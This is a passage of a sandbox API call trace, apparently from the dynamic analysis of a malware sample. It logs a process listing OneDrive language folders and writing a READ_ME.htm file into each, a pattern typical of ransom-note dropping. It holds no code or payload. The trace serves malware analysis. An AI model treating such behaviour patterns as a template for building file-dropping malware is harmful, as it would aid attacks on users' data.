hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebc2d010, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebdf6090, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebdf6090, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.329] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xebdf6090, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebdf6090, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebdf6090, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12cb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.329] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xebdf6090, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebdf6090, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebdf6090, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12cb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.329] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.329] SetErrorMode (uMode=0x0) returned 0x1 [0145.329] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bn-bd\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bn-bd\\READ_ME.htm", lpFilePart=0x0) returned 0x54 [0145.329] SetErrorMode (uMode=0x1) returned 0x0 [0145.330] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bn-bd\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\bn-bd\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.331] GetFileType (hFile=0x1d0) returned 0x1 [0145.331] SetErrorMode (uMode=0x0) returned 0x1 [0145.331] GetFileType (hFile=0x1d0) returned 0x1 [0145.331] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a0bed0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2a0bed0*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.333] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bn-in", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bn-in", lpFilePart=0x0) returned 0x48 [0145.333] SetErrorMode (uMode=0x1) returned 0x0 [0145.334] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bn-in\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\bn-in\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdf6090, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebfbf110, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebfbf110, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.335] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdf6090, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebfbf110, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebfbf110, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.335] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xebfbf110, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebfbf110, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebfbf110, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.335] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xebfbf110, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebfbf110, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebfbf110, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.336] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.336] SetErrorMode (uMode=0x0) returned 0x1 [0145.336] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bn-in", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bn-in", lpFilePart=0x0) returned 0x48 [0145.336] SetErrorMode (uMode=0x1) returned 0x0 [0145.336] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bn-in\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\bn-in\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdf6090, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebfbf110, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebfbf110, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.337] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdf6090, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebfbf110, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebfbf110, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.337] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xebfbf110, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebfbf110, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebfbf110, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.337] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xebfbf110, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebfbf110, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebfbf110, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.337] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.337] SetErrorMode (uMode=0x0) returned 0x1 [0145.337] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bn-in\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bn-in\\READ_ME.htm", lpFilePart=0x0) returned 0x54 [0145.337] SetErrorMode (uMode=0x1) returned 0x0 [0145.338] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bn-in\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\bn-in\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.338] GetFileType (hFile=0x1d0) returned 0x1 [0145.338] SetErrorMode (uMode=0x0) returned 0x1 [0145.338] GetFileType (hFile=0x1d0) returned 0x1 [0145.338] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a12538*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2a12538*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.340] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bs-latn-ba", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bs-latn-ba", lpFilePart=0x0) returned 0x4d [0145.340] SetErrorMode (uMode=0x1) returned 0x0 [0145.340] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bs-latn-ba\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\bs-latn-ba\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebfbf110, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec188190, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec188190, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.341] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebfbf110, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec188190, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec188190, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.341] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec188190, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec188190, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec188190, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x130b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.342] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec188190, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec188190, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec188190, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x130b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.342] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.342] SetErrorMode (uMode=0x0) returned 0x1 [0145.342] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bs-latn-ba", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bs-latn-ba", lpFilePart=0x0) returned 0x4d [0145.342] SetErrorMode (uMode=0x1) returned 0x0 [0145.343] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bs-latn-ba\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\bs-latn-ba\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebfbf110, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec188190, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec188190, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.343] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebfbf110, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec188190, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec188190, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.343] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec188190, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec188190, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec188190, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x130b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.343] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec188190, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec188190, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec188190, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x130b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.343] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.343] SetErrorMode (uMode=0x0) returned 0x1 [0145.343] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bs-latn-ba\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bs-latn-ba\\READ_ME.htm", lpFilePart=0x0) returned 0x59 [0145.344] SetErrorMode (uMode=0x1) returned 0x0 [0145.344] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bs-latn-ba\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\bs-latn-ba\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.344] GetFileType (hFile=0x1d0) returned 0x1 [0145.344] SetErrorMode (uMode=0x0) returned 0x1 [0145.344] GetFileType (hFile=0x1d0) returned 0x1 [0145.345] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a18c20*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2a18c20*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.346] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ca", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ca", lpFilePart=0x0) returned 0x45 [0145.346] SetErrorMode (uMode=0x1) returned 0x0 [0145.347] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ca\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ca\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec188190, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec377370, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec377370, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.348] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec188190, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec377370, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec377370, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.348] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec377370, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec377370, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec377370, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x136a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.348] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec377370, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec377370, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec377370, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x136a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.348] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.348] SetErrorMode (uMode=0x0) returned 0x1 [0145.360] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ca", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ca", lpFilePart=0x0) returned 0x45 [0145.360] SetErrorMode (uMode=0x1) returned 0x0 [0145.360] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ca\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ca\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec188190, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec377370, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec377370, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.361] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec188190, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec377370, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec377370, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.361] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec377370, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec377370, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec377370, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x136a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.361] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec377370, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec377370, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec377370, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x136a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.361] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.362] SetErrorMode (uMode=0x0) returned 0x1 [0145.362] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ca\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ca\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.362] SetErrorMode (uMode=0x1) returned 0x0 [0145.362] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ca\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ca\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.363] GetFileType (hFile=0x1d0) returned 0x1 [0145.363] SetErrorMode (uMode=0x0) returned 0x1 [0145.363] GetFileType (hFile=0x1d0) returned 0x1 [0145.363] WriteFile (in: hFile=0x1d0, lpBuffer=0x2821f20*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2821f20*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.365] CloseHandle (hObject=0x1d0) returned 1 [0145.365] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ca-es-valencia", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ca-es-valencia", lpFilePart=0x0) returned 0x51 [0145.365] SetErrorMode (uMode=0x1) returned 0x0 [0145.365] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\ca-es-valencia\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\ca-es-valencia\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec377370, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xec5403f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xec5403f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.373] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: 